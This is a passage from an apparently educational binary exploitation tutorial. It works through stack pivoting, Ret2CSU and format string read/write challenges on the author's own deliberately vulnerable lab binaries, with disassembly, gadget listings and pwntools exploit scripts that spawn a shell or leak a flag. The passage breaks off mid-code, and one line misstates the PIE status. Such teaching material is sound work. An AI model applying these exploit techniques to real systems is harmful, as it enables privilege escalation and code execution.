0x0000000000401070 fgets@plt
0x0000000000401080 malloc@plt
0x0000000000401090 _start
0x00000000004010c0 _dl_relocate_static_pie
0x00000000004010d0 deregister_tm_clones
0x0000000000401100 register_tm_clones
0x0000000000401140 __do_global_dtors_aux
0x0000000000401170 frame_dummy
0x0000000000401176 win
0x00000000004011af vuln
0x0000000000401236 main
0x0000000000401250 __libc_csu_init
0x00000000004012c0 __libc_csu_fini
0x00000000004012c8 _fini
1
2
3
4
5
6
7
8
9
10
11
pwndbg> disass main
Dump of assembler code for function main:
0x0000000000401236 <+0>: endbr64
0x000000000040123a <+4>: push rbp
0x000000000040123b <+5>: mov rbp,rsp
0x000000000040123e <+8>: mov eax,0x0
0x0000000000401243 <+13>: call 0x4011af <vuln>
0x0000000000401248 <+18>: mov eax,0x0
0x000000000040124d <+23>: pop rbp
0x000000000040124e <+24>: ret
End of assembler dump.

main function is calling vuln function.

pivot.png

The function vuln begins by setting up a standard stack frame and allocating 112 bytes of local space on the stack. It then calls malloc to allocate 4096 bytes of memory on the heap and stores the returned pointer in a local variable. After that, it uses printf twice to prompt the user likely to indicate the start of input sections which is Pivot to and Enter data. It then calls fgets to read up to 256 bytes (0x100) of user input into the heap-allocated buffer. Following that, it makes another printf call and then reads another 128 bytes (0x80) of input into a buffer located on the stack ([rbp-0x70]) which is Pivot Pivot Pivot. This second fgets into the stack buffer is suspicious because it reads 128 bytes into a stack space that is only 112 bytes wide, potentially causing a buffer overflow. The function concludes with a leave and ret, cleaning up the stack and returning to the caller

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> disass win
Dump of assembler code for function win:
0x0000000000401176 <+0>: endbr64
0x000000000040117a <+4>: push rbp
0x000000000040117b <+5>: mov rbp,rsp
0x000000000040117e <+8>: mov DWORD PTR [rbp-0x4],edi
0x0000000000401181 <+11>: mov DWORD PTR [rbp-0x8],esi
0x0000000000401184 <+14>: cmp DWORD PTR [rbp-0x4],0xbabecafe
0x000000000040118b <+21>: jne 0x4011ac <win+54>
0x000000000040118d <+23>: cmp DWORD PTR [rbp-0x8],0xcafebabe
0x0000000000401194 <+30>: jne 0x4011ac <win+54>
0x0000000000401196 <+32>: mov eax,0x3b
0x000000000040119b <+37>: mov edi,0x404040
0x00000000004011a0 <+42>: mov esi,0x0
0x00000000004011a5 <+47>: mov edx,0x0
0x00000000004011aa <+52>: syscall
0x00000000004011ac <+54>: nop
0x00000000004011ad <+55>: pop rbp
0x00000000004011ae <+56>: ret
End of assembler dump.
pwndbg>

We know whenever we call function argument is passed as rdi, rsi and rax here it is:

1
2
0x000000000040117e <+8>:	mov    DWORD PTR [rbp-0x4],edi
0x0000000000401181 <+11>: mov DWORD PTR [rbp-0x8],esi

It means there are two arguments being passed edi and esi (32 bits of rdi and rsi ) which is moved in rbp-0x4 and rbp-0x8 respectively.

After this:

1
2
0x0000000000401184 <+14>:	cmp    DWORD PTR [rbp-0x4],0xbabecafe
0x000000000040118b <+21>: jne 0x4011ac <win+54>

It compares if first argument is equal to 0xbabecafe. If not equals to it jumps to win+54 address and exit. And its same with rbp-0x8 which needs 0xcafebabe. After this:

1
2
3
4
5
0x0000000000401196 <+32>:	mov    eax,0x3b
0x000000000040119b <+37>: mov edi,0x404040
0x00000000004011a0 <+42>: mov esi,0x0
0x00000000004011a5 <+47>: mov edx,0x0
0x00000000004011aa <+52>: syscall

Above code is simple. Its doing a system call of 32 bit registers like how its eax, edi, esi, edx instead of rax, rdi, rsi, rdx respectively because its in 32 bit. We know that rax stores system call number its same with eax and same for others.

eax, 0x3b means its calling 0x3b which is 59 in integer it means its calling execve system call. And edi has 0x404040 which just means /bin/sh as argument of system call.

1
2
pwndbg> x/s 0x404040
0x404040 <bin_sh>: "/bin/sh"

At end we can say this whole win function is calling /bin/sh and if we can call this function we can spawn shell.

Let’s find out whats that leak address we get when starting program of. Like in Ret2Win challenge we first enter input and press CTRL+C so we can examine in runtime.

1
2
3
4
5
6
7
8
pwndbg> r
Starting program: /home/at0m/pivot
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Pivot To - 0x1884e2a0
Enter Data - AAAABBBBCCCCDDDD
Pivot! Pivot! Pivot! - ^C
Program received signal SIGINT, Interrupt.

After running lets see whats at 0x1884e2a0 address.

1
2
pwndbg> x/s 0x1884e2a0
0x1884e2a0: "AAAABBBBCCCCDDDD\n"

As we can see it just has address of Enter data input which will be important later to us. Obviously we know its buffer overflow challenge but we need to find out in which input there exists buffer overflow. Lets put value of highest possible which is 256 that fgets function can take in both input to check.

1
2
3
4
5
6
7
8
9
10
pwndbg> cyclic(256)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaab

pwndbg> r
Starting program: /home/at0m/pivot
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Pivot To - 0x348df2a0
Enter Data - aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaab
Pivot! Pivot! Pivot! - [Inferior 1 (process 17010) exited normally]

As we can see program exited normally in first input. If you ask why we didn't get input in Pivot Pivot Pivot, its because the first fgets read the entire 256-byte payload without a newline, so there was no input left for the second fgets. As a result, the second input was skipped, and the program exited normally.

1
2
3
4
5
6
7
pwndbg> r
Starting program: /home/at0m/pivot
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Pivot To - 0x1d69d2a0
Enter Data - test
Pivot! Pivot! Pivot! - aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaab

If we run this we get crash, find offset at 120.

1
2
3
pwndbg> cyclic -l paaaaaaa -n 8
Finding cyclic pattern of 8 bytes: b'paaaaaaa' (hex: 0x7061616161616161)
Found at offset 120

pivot2.png

But this time we can only overflow return address value. So when calling for win function we wont have address to put enough of our gadgets to call it. Whenever we get this limited storage in stack remember its stack pivoting challenge. In stack pivoting we “pivot” the stack by changing the stack pointer (RSP) to point to our controlled buffer. Then we will be able to write our ROP chain. For this we will need a gadget that can change the value of rsp.

1
2
3
4
❯ ROPgadget --binary pivot
<SNIP>
0x00000000004012ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
<SNIP>

We got the address but there is major problem, it has pop rsp but it also has other registers which we wont be able to add in our stack because of its limited storage. Now what can we do?

Let’s go back to basics of assembly. The leave instruction in x86/x86-64 is a stack frame teardown instruction , it’s typically used at the end of a function to clean up the stack frame set up by push rbp; mov rbp, rsp. Basically it is shortcut to two instructions.

1
2
mov rsp, rbp
pop rbp

Because leave modifies rsp to the value of rbp, if you control the value of rbp before leave executes, you can effectively “pivot” the stack pointer to any memory region you want. Luckily we have leave instruction in our binary.

1
2
3
4
❯ ROPgadget --binary pivot
<SNIP>
0x0000000000401234 : leave ; ret
<SNIP>

We have to do leave ; ret 2 times. The first leave; ret sets rsp to a buffer we control and updates rbp to a new value from that buffer. The second leave; ret then uses this new rbp to move rsp again, finally pointing to our full ROP chain.

The leaked address that we had when starting program we can use that address as to store the new value for rbp before the leave; ret instruction, so when leave runs, it sets rsp to this buffer and that leaked address has enough storage (256 bytes) to write our payload.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/python3
from pwn import *

elf = context.binary = ELF('./pivot')
io = process()

# Receive the leaked pivot address from the program's output
leak = int(io.recvline(keepends=False).split(b'- ')[1], 16)

payload1 = pack(0) # pop rbp instruction placeholder value

# We overflow the buffer with 112 bytes to reach saved rbp,
# then overwrite saved rbp with the leaked pivot address,
# finally overwrite saved return address with address of 'leave; ret' gadget

payload = cyclic(112) + p64(leak) + p64(0x0000000000401234)

io.sendline(payload)
io.interactive()

Offset is 120 but we used 112 because saved rbp is located right before the saved return address, occupying 8 bytes. So, the first 112 bytes fill the buffer, the next 8 bytes overwrite saved rbp (which we control to pivot the stack), and the following 8 bytes overwrite the return address.

1
2
3
[ buffer (112 bytes) ]  <- our controlled input buffer
[ saved rbp (8 bytes) ] <- next 8 bytes after buffer (offset 112 to 120)
[ return address (8 bytes) ] <- after saved rbp (offset 120 to 128)

We use pack(0) there to provide a placeholder value for the pop rbp instruction that happens right after the leave sets rsp to the pivot address. It can’t be blank but we have to put any random dummy value like zero.

Now after doing this we can write our normal payload like passing arguments with rdi and rsi with 0xbabecafe and 0xcafebabe respectively. First we need rdi and rsi address.

1
2
3
4
5
❯ ROPgadget --binary pivot
<SNIP>
0x00000000004012b3 : pop rdi ; ret
0x00000000004012b1 : pop rsi ; pop r15 ; ret
<SNIP>

We have pop rsi ; pop r15 ; ret so we will have to add r15 value also necessarily (which we can put simply 0) this time we won’t have any problems because its not in stack this time but its in leaked address which has enough storage.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/python3

from pwn import *

elf = context.binary = ELF('./pivot')
io = process()

leak = int(io.recvline(keepends=False).split(b'- ')[1],16)

payload1 = pack(0) + pack(0x00000000004012b3) + pack(0xbabecafe) + pack(0x00000000004012b1) + pack(0xcafebabe) + pack(0) + pack(elf.sym.win)


payload = cyclic(112) + pack(leak) + pack(0x0000000000401234)

io.sendline(payload1)
io.sendline(payload)

io.interactive()

0xD - Ret2CSU | One Gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

void vuln() {
char buff[40];
write(1,"Enter Data - ",13);
read(0,buff,300);
}

int main() {
vuln();
}

gcc ret2csu.c -o ret2csu -no-pie -fno-stack-protector

1
2
ls -la ret2csu              
-rwsr-sr-x 1 root root 16704 Jun 26 17:03 ret2csu
1
2
3
4
5
6
7
8
9
10
11
12
13
❯ checksec --file=ret2csu     
[*] '/home/at0m/ret2csu'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

❯ ./ret2csu
Enter Data - AAAAAAAAA

ret2csu.png

main function is just calling vuln function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> disass vuln
Dump of assembler code for function vuln:
0x0000000000401156 <+0>: endbr64
0x000000000040115a <+4>: push rbp
0x000000000040115b <+5>: mov rbp,rsp
0x000000000040115e <+8>: sub rsp,0x30
0x0000000000401162 <+12>: mov edx,0xd
0x0000000000401167 <+17>: lea rsi,[rip+0xe96] # 0x402004
0x000000000040116e <+24>: mov edi,0x1
0x0000000000401173 <+29>: call 0x401050 <write@plt>
0x0000000000401178 <+34>: lea rax,[rbp-0x30]
0x000000000040117c <+38>: mov edx,0x12c
0x0000000000401181 <+43>: mov rsi,rax
0x0000000000401184 <+46>: mov edi,0x0
0x0000000000401189 <+51>: call 0x401060 <read@plt>
0x000000000040118e <+56>: nop
0x000000000040118f <+57>: leave
0x0000000000401190 <+58>: ret
End of assembler dump.

There are two functions being called one is write that prints and another is read that takes input. They are C functions in wrapper. We are going to perform Ret2PLT and get base address then we are going to spawn shell using Ret2Libc or we can use new technique One Gadget which is more better and easy.

In Ret2PLT section we had put function which only uses 1 argument which we putted GOT address under rdi register but write function takes 3 arguments it means we have to put value in rdi, rsi and rdx register. It is easy to find rdi, rsi gadgets address using ROPGadget in binary but it is very hard to find rdx gadget address in binary.

1
2
3
4
5
6
7
❯ ROPgadget --binary ret2csu
<SNIP>
0x0000000000401213 : pop rdi ; ret
0x0000000000401211 : pop rsi ; pop r15 ; ret
<SNIP>
0x000000000040101a : ret
<SNIP>

As we can see we have rsi address but with it there is r15 also connected so we have to add it to our exploit necessarily.

1
pop rsi ; pop r15 ; ret
1
2
3
0x0000000000401213 : pop rdi ; ret
<SNIP>
0x000000000040101a : ret

We have rdi and ret also but rdx is nowhere to be found. This is where we use Ret2CSU technique. This doesn’t help to bypass ASLR nor on spawning shell but it has only one use case that is if we want to satisfy arguments and we don’t have enough gadgets.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x0000000000401000 _init
0x0000000000401050 write@plt
0x0000000000401060 read@plt
0x0000000000401070 _start
0x00000000004010a0 _dl_relocate_static_pie
0x00000000004010b0 deregister_tm_clones
0x00000000004010e0 register_tm_clones
0x0000000000401120 __do_global_dtors_aux
0x0000000000401150 frame_dummy
0x0000000000401156 vuln
0x0000000000401191 main
0x00000000004011b0 __libc_csu_init
0x0000000000401220 __libc_csu_fini
0x0000000000401228 _fini

CSU stands for “__libc_csu_init”, a function automatically generated by the compiler in ELF binaries. It contains useful gadgets to control multiple registers and call functions. Because it’s part of the startup code, it’s always present in many binaries (unless stripped).

ret2csu2.png

When disassembling __libc_csu_init we can see there are these three instructions that we might find useful:

1
2
3
0x00000000004011f0 <+64>:	mov    rdx,r14
0x00000000004011f3 <+67>: mov rsi,r13
0x00000000004011f6 <+70>: mov edi,r12d

Here we moved r14 register to rdx, r13 register to rsi and lastly we have edi which is 32 bit of rdi, this is enough for our exploit to work.

So if we can control r14, r13, r12d we can control rdx, rsi, esi values but it wont be simple as that because if we directly put address like this 0x00000000004011f0 it will run till ret instruction and its value will be changed.

ret2csu3.png

If we looked down there are these instruction also:

1
2
3
0x000000000040120c <+92>:	pop    r12
0x000000000040120e <+94>: pop r13
0x0000000000401210 <+96>: pop r14

So if we run this above code first, it will set r12, r13, r14 register after that we can run:

1
2
3
0x00000000004011f0 <+64>:	mov    rdx,r14
0x00000000004011f3 <+67>: mov rsi,r13
0x00000000004011f6 <+70>: mov edi,r12d

The value of r12, r13, r12d will be stored in their respective place and their 3 arguments will be satisfied. So we are going from down to top.

But between those there are some instructions that will mess things up.

1
2
3
4
5
6
7
0x00000000004011f9 <+73>:	call   QWORD PTR [r15+rbx*8]
0x00000000004011fd <+77>: add rbx,0x1
0x0000000000401201 <+81>: cmp rbp,rbx
0x0000000000401204 <+84>: jne 0x4011f0 <__libc_csu_init+64>
0x0000000000401206 <+86>: add rsp,0x8
0x000000000040120a <+90>: pop rbx
0x000000000040120b <+91>: pop rbp

Here there is one important call function which will call r15+rbx*8 this address and if address is wrong we will get segmentation fault error and crash our program. We need to put such value in r15, rbx that when the calculation happens it will go to correct address that will exist in memory. Not only this but we also need to control rbp because in 0x0000000000401201 there is a compare instruction that will check if rbp and rbx are equal and if not equal to it will jump back to 0x4011f0 which is essentially a loop.

First as always find overflow offset which I have found already and it is 56.

ret2csu4.png

Okay so in return address we have putted this 0x000000000040120 address, now we need to fill value in those rbx, rbp and other. First is rbx we need to be careful in putting value of registers because they will be calculated above. For example this rbx register we are adding value to will be calculated above r15+rbx*8. We can put rbx value as 0 because if we put 0 the calculation of r15+rbx*8 will be:

$$
r15+0*8=r15
$$
which will make our work easier.

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python3

from pwn import *

elf = context.binary = ELF('./ret2csu')
io = process()

payload = cyclic(52) + pack(0x000000000040120a) + pack(0)

io.sendline(payload)

io.interactive()

Next is rbp. We also need to be careful because in its assembly instruction.

1
2
3
4
5
6
7
0x00000000004011f9 <+73>:	call   QWORD PTR [r15+rbx*8]
0x00000000004011fd <+77>: add rbx,0x1
0x0000000000401201 <+81>: cmp rbp,rbx
0x0000000000401204 <+84>: jne 0x4011f0 <__libc_csu_init+64>
0x0000000000401206 <+86>: add rsp,0x8
0x000000000040120a <+90>: pop rbx
0x000000000040120b <+91>: pop rbp

We can see that rbp value will later be compared will rbx but before that rbx value will added as 0x1 (1), so we must put rbp value as 1 because if its 1 the comparison between rbp and rbx will be equal.

Paused

0xE - Format String

A format string is a string that contains special placeholders used to format and insert variables into output. These placeholders are typically defined by the programming language and allow values (like integers, strings, or memory addresses) to be embedded in a controlled way.

In C, for example, format strings are used with functions like printf, sprintf, and fprintf.

Example:

1
2
int age = 25;
printf("I am %d years old.\n", age);

In the above code:

  • "I am %d years old.\n" is the format string.
  • %d is a format specifier for an integer,
  • age is the variable being inserted in place of %d.

Some common format specifiers in C:

Specifier Description
%d Integer (decimal)
%x Hexadecimal (lowercase)
%s String
%p Pointer (memory addr)
%f Float
%c Character
%n Number of bytes written
Note: In %s and %n arguments are passed as reference.

A format string vulnerability occurs when user input is passed directly as the format string without any format specifiers being hardcoded.

1
2
3
char name[100];
gets(name); // User input: "My name is %x %x %x"
printf(name); // VULNERABLE

Here, instead of printf("%s", name);, the program does printf(name); so if the input contains %x, printf will read raw data from the stack and print it. That’s the entry point for abuse.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// A simple C program with format
// string vulnerability
#include<stdio.h>

int main(int argc, char** argv)
{
char buffer[100];
strncpy(buffer, argv[1], 100);

// We are passing command line
// argument to printf
printf(buffer);

return 0;
}

Since printf has a variable number of arguments, it must use the format string to determine the number of arguments. In the case above, the attacker can pass the string “%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p” and fool the printf into thinking it has 15 arguments. It will naively print the next 15 addresses on the stack, thinking they are its arguments:

1
2
$ ./a.out "%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p"  
0xffffdddd 0x64 0xf7ec1289 0xffffdbdf 0xffffdbde (nil) 0xffffdcc4 0xffffdc64 (nil) 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520

%n in printf doesn’t print anything instead, it writes the number of bytes printed so far into the memory address given as its argument.

1
2
int x;
printf("abcd%n", &x); // 4

After this, x == 4 because 4 characters were printed before %n.
In a format string vulnerability, if an attacker controls the format string and includes %n, they can make printf write values to arbitrary memory addresses pulled from the stack this allows for memory corruption and is often used to overwrite return addresses, function pointers, or GOT entries. Let’s look at example:

1
2
3
4
5
6
7
#include <stdio.h>

void main(){
char str[50];
scanf("%50s", &str);
printf(str);
}

So in above code if we put this input:

1
ABCDEF%n

It will first read ABCDEF and after that it will read %n specifier and it will check its length which is 6 since length between A to F is 6 and write its value as 6 in stack in some arbitrary address.

Simplified (stack grows downward):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
HIGH MEMORY
+---------------------------+
| Return Address (→ main) |
+---------------------------+
| Saved Frame Pointer (EBP) |
+---------------------------+
| 0xDEADBEEF | ← Used by `%n` as a pointer
| | printf tries to write 6 here
| | *(0xDEADBEEF) = 6
+---------------------------+
| ... other local vars ... |
+---------------------------+
| str[50] = "ABCDEF%n" | ← User input
+---------------------------+
LOW MEMORY

0xF - Arbitrary Read Using Format String Vulnerability

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

char flag[29];

int main() {
char pass[28] = "Pa$$w0rd_1s_0n_Th3_St4ck\0";
char string[80];
char password[27];
printf("Enter Password - ");
scanf("%27s",&password);
if (!(strcmp(pass, password))) {
FILE *f = fopen("flag.txt", "r");
if(f == NULL){
printf("flag file not found\n");
exit(1);
}
fgets(flag, 30, f);
printf("What you are looking for is here - %p\n",&flag);
printf("Enter String - ");
scanf("%79s",&string);
printf(string);}
else {
printf("Wrong Password!!! ");
printf(password);
exit(1);
}
return 0;
}

gcc fmt_read.c -o fmt_read -no-pie

1
2
3
ls -la
-rw-r--r-- 1 root root 19 Jun 26 17:03 flag.txt
-rwsr-sr-x 1 root root 17032 Jun 26 17:03 fmt_read

Our goal is to read file flag.txt using this binary which can be only read by root.

1
2
3
4
5
6
7
8
9
10
❯ checksec --file=fmt_read  
[*] '/home/at0m/fmt_read'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

Canary is enabled and NX enabled means buffer overflow and Shellcode won’t work. PIE is enabled it means address won’t change.

1
2
3
❯ ./fmt_read 
Enter Password - IDK
Wrong Password!!! IDK%

Lets put format specifier to check if its vulnerable or not.

1
2
3
❯ ./fmt_read       
Enter Password - %p
Wrong Password!!! 0x7ffd68a67e30

It is leaking address so it’s affected. We know password is on stack we can put %p in input like many times to get values from stack but there is a problem in this approach, We can only put input to limited length. This means we will only be able to put a small number of format specifiers in a single input attempt, restricting how many stack values we can leak at once. Because of this limitation, it becomes harder to fully explore the stack or find the exact position of sensitive data like the password or return addresses in a single go.

That’s why we can use this:

1
2
3
❯ ./fmt_read
Enter Password - %1$p
Wrong Password!!! 0x7ffd87d5a240

%1$p means print the first argument on stack as pointer (hex). So if we want to see second argument we can do by %2$p.

1
2
3
❯ ./fmt_read
Enter Password - %2$p
Wrong Password!!! (nil)

We can look at any place on stack like this. Manually searching for address is pain so we can automate using Python.

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python3

from pwn import *

context.log_level = 'error'

for i in range(1,50):
io = process('./fmt_read')
payload = f'%{i}$p'
io.sendline(payload)
print(io.recvall())
io.close()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
❯ python3 main.py
/home/at0m/main.py:10: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.sendline(payload)
b'Enter Password - Wrong Password!!! 0x7fff6f5a9b40'
b'Enter Password - Wrong Password!!! (nil)'
b'Enter Password - Wrong Password!!! (nil)'
b'Enter Password - Wrong Password!!! 0xa'
b'Enter Password - Wrong Password!!! 0x1b'
b'Enter Password - Wrong Password!!! 0x7564e4deb2d8'
b'Enter Password - Wrong Password!!! 0xc0000'
b'Enter Password - Wrong Password!!! 0x70243825'
b'Enter Password - Wrong Password!!! 0xc0000'
b'Enter Password - Wrong Password!!! 0x7ffc6609f060'
b'Enter Password - Wrong Password!!! 0x7d929a33e3dd'
b'Enter Password - Wrong Password!!! 0x6472307724246150'
b'Enter Password - Wrong Password!!! 0x545f6e305f73315f'
b'Enter Password - Wrong Password!!! 0x6b633474535f3368'
b'Enter Password - Wrong Password!!! 0x7ffe00000000'
b'Enter Password - Wrong Password!!! 0x4500000006'
b'Enter Password - Wrong Password!!! (nil)'
b'Enter Password - Wrong Password!!! (nil)'
b'Enter Password - Wrong Password!!! (nil)'
b'Enter Password - Wrong Password!!! (nil)'
b'Enter Password - Wrong Password!!! (nil)'
b'Enter Password - Wrong Password!!! (nil)'
b'Enter Password - Wrong Password!!! (nil)'
b'Enter Password - Wrong Password!!! (nil)'
b'Enter Password - Wrong Password!!! 0x7a17dd47eaf0'
b'Enter Password - Wrong Password!!! 0x7ffe9aa4da40'
b'Enter Password - Wrong Password!!! 0x36d5c7b7ff3a5200'
b'Enter Password - Wrong Password!!! 0x7ffefe092000'
b'Enter Password - Wrong Password!!! 0x77dcd802a1ca'
b'Enter Password - Wrong Password!!! 0x7ffd39042830'
b'Enter Password - Wrong Password!!! 0x7ffe513f1cf8'
b'Enter Password - Wrong Password!!! 0x100400040'
b'Enter Password - Wrong Password!!! 0x401216'
b'Enter Password - Wrong Password!!! 0x7ffeda98f658'
b'Enter Password - Wrong Password!!! 0x6fbfc1ea1337b26b'
b'Enter Password - Wrong Password!!! 0x1'
b'Enter Password - Wrong Password!!! (nil)'
b'Enter Password - Wrong Password!!! (nil)'
b'Enter Password - Wrong Password!!! 0x75ea4061c000'
b'Enter Password - Wrong Password!!! 0x3e296373cf3c4a98'
b'Enter Password - Wrong Password!!! 0xcb00489cbd893775'
b'Enter Password - Wrong Password!!! 0x7fff00000000'
b'Enter Password - Wrong Password!!! (nil)'
b'Enter Password - Wrong Password!!! (nil)'
b'Enter Password - Wrong Password!!! 0x1'
b'Enter Password - Wrong Password!!! (nil)'
b'Enter Password - Wrong Password!!! 0x31eb73fe25fbf600'
b'Enter Password - Wrong Password!!! 0x7fffd48c6bd0'
b'Enter Password - Wrong Password!!! 0x7924c382a28b'

We ran till 50th place in stack which should be enough to get smth interesting. Now we need to find string. Let’s look at long values and unhex it these are typically strings. We removed 0x from them.

1
2
3
4
5
6
7
~ at0m ❯ unhex 6472307724246150
dr0w$$aP

~ at0m ❯ unhex 545f6e305f73315f
T_n0_s1_
~ at0m ❯ unhex 6b633474535f3368
kc4tS_3h

It is in little-endian format it means its in reverse order.

1
2
echo 'kc4tS_3hT_n0_s1_dr0w$$aP' | rev     
Pa$$w0rd_1s_0n_Th3_St4ck

We got password Pa$$w0rd_1s_0n_Th3_St4ck. So this is how we can read value from stack using format string vuln, This could be easily done with reverse engineering technique but its not our goal here. Our main goal is to read flag.txt

1
2
3
4
❯ ./fmt_read
Enter Password - Pa$$w0rd_1s_0n_Th3_St4ck
What you are looking for is here - 0x404080
Enter String -

If we enter password we get new address 0x404080 which is most likely of flag with new input to enter. We can again check if it is vulnerable to format string or not.

1
2
3
4
5
❯ ./fmt_read
Enter Password - Pa$$w0rd_1s_0n_Th3_St4ck
What you are looking for is here - 0x404080
Enter String - %p
0xa

This also has format string vulnerability. We now have to put this address of flag 0x404080 somewhere on the stack and we can use %s, %p, or %x to dereference that address and read the value. Lets imagine flag address is stored in 7th argument then diagram will be like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
  Stack Frame (printf call)
┌──────────────────────────────┐
│ arg 7 → 0x404080 │ ← %7$s reads from here (points to flag)
├──────────────────────────────┤
│ arg 6 → junk / padding │
├──────────────────────────────┤
│ arg 5 → junk / padding │
├──────────────────────────────┤
│ arg 4 → junk / padding │
├──────────────────────────────┤
│ arg 3 → junk / padding │
├──────────────────────────────┤
│ arg 2 → junk / padding │
├──────────────────────────────┤
│ arg 1 → junk / padding │
├──────────────────────────────┤
│ format string → "%7$s"
└──────────────────────────────┘



printf("%7$s") dereferences arg 7 → 0x404080 → "flag{...}"

Lets write python script for this. In above diagram we only took a guess that it might be in 7th argument or position but in reality we don’t know where is it. So we need to find where it is.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/python3

from pwn import *

context.log_level = 'error'

for i in range(1,50):
io = process('./fmt_read')
payload = f'%{i}$p'
io.sendline('Pa$$w0rd_1s_0n_Th3_St4ck')
payload = f'AAAAAAAA%{i}$p'
io.sendline(payload)
print(io.recvall(), i)
io.close()

By putting a recognizable pattern like AAAAAAAA (which is 0x4141414141414141 in hex) and is of 8 bytes, we can easily spot where our input lands on the stack.

1
2
3
4
5
6
7
8
9
10
❯ python3 main.py
/home/at0m/main.py:10: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.sendline('Pa$$w0rd_1s_0n_Th3_St4ck')
/home/at0m/main.py:12: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.sendline(payload)
b'Enter Password - What you are looking for is here - 0x404080\nEnter String - AAAAAAAA0xa' 1
b'Enter Password - What you are looking for is here - 0x404080\nEnter String - AAAAAAAA(nil)' 2
<SNIP>
b'Enter Password - What you are looking for is here - 0x404080\nEnter String - AAAAAAAA0x4141414141414141' 16
<SNIP>

That last line shows that when we printed the 16th stack argument (%16$p), we got 0x41414141414141 which is just hex of our AAAAAAAA. Now we know that our input goes at 16 argument or position in stack so we can add our format string payload there to point to 17th position which will be our memory address that is pointing to flag.

After this we can just write normal exploit.

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/python3

from pwn import *

context.log_level = 'error'

io = process('./fmt_read')
io.sendline('Pa$$w0rd_1s_0n_Th3_St4ck')
payload = b'%17$sAAA' + pack(0x404080)
io.sendline(payload)
io.interactive()

Okay in above it might be little confusing. So let’s explain first this %17$sAAA.

Part Meaning
%17$s Print the string at the 17th stack value which has address that pointing to flag.
AAA Padding to align things properly (3 bytes; avoids misalignment so total it can be 8 bytes)
pack(0x404080) The actual memory address of the flag, encoded in little endian
1
2
3
4
5
6
  Stack Frame (printf call)
┌──────────────────────────────┐
│ arg 17 → 0x404080 │ ← points to flag
├──────────────────────────────┤
│ format string: "%17$s"
└──────────────────────────────┘
1
2
3
4
5
6
❯ python3 main.py
/home/at0m/main.py:8: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.sendline('Pa$$w0rd_1s_0n_Th3_St4ck')
Enter Password - What you are looking for is here - 0x404080
Enter String - flag{Y0U_4R3_F43T}
AAA\x80@@$

We got our flag.

0x10 - Arbitrary Write Using Format String Vulnerability

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include<stdio.h>
#include<stdlib.h>
int target;

int main() {
char buff[30];
printf("Enter String - ");
scanf("%30s",&buff);
printf("You Entered - ");
printf(buff);
printf("\nValue Of Target Is - %d\n",target);
if (target == 3) {
